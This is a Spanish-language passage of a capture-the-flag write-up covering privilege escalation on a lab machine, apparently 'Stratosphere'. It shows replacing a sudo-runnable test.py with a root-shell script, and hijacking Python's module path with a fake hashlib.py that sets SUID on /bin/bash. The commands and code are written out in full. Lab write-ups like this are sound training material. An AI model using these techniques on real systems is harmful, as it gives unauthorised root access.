richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
Aunque
el propietario
sea root
, está en nuestro directorio /home
, en el cual tenemos permisos rwx
para todo, por lo tanto podemos eliminar
el archivo
1
2
3
4
5
6
7
8
9
richard@stratosphere:~$ ls -l
total 12
drwxr-xr-x 2 richard richard 4096 Oct 18 2017 Desktop
-rwxr-x--- 1 root richard 1507 Mar 19 2018 test.py
-r-------- 1 richard richard 33 Jul 6 14:03 user.txt
richard@stratosphere:~$ rm test.py
rm: remove write-protected regular file 'test.py'? y
richard@stratosphere:~$ ls
Desktop user.txt
Lo siguiente que vamos a hacer es crear otro archivo test.py
con este contenido
, de modo que al ejecutarlo con python nos spawnee una bash
como usuario root
1
2
3
4
5
6
7
8
import os
def abrir_terminal():
os.system('/bin/bash')
if __name__ == "__main__":
abrir_terminal()
Nos convertimos
en usuario root
1
2
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py
root@stratosphere:/home/richard#
Privilege Escalation (Second Method)
Vemos que se están usando librerías
sin indicar un path
para ellas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
Imprimimos
el path
de python
, en este caso nos viene por defecto empezar a buscar las librerías
en el directorio actual
1
2
richard@stratosphere:~$ python -c 'import sys; print(sys.path)'
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages/gtk-2.0']
Nos creamos en el directorio actual
la librería hashlib.py
con el siguiente contenido
1
2
3
import os
os.system('chmod u+s /bin/bash')
Ejecutamos
el script
1
2
3
4
5
6
7
8
9
richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
Traceback (most recent call last):
File "/home/richard/test.py", line 38, in <module>
question()
File "/home/richard/test.py", line 7, in question
md5 = hashlib.md5()
AttributeError: module 'hashlib' has no attribute 'md5'
Comprobamos
que se haya añadido
el privilegio SUID
a la bash
1
2
richard@stratosphere:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
Ejecutamos
la bash
como el propietario
y nos convertimos
en root
1
2
3
richard@stratosphere:~$ bash -p
bash-5.0# whoami
root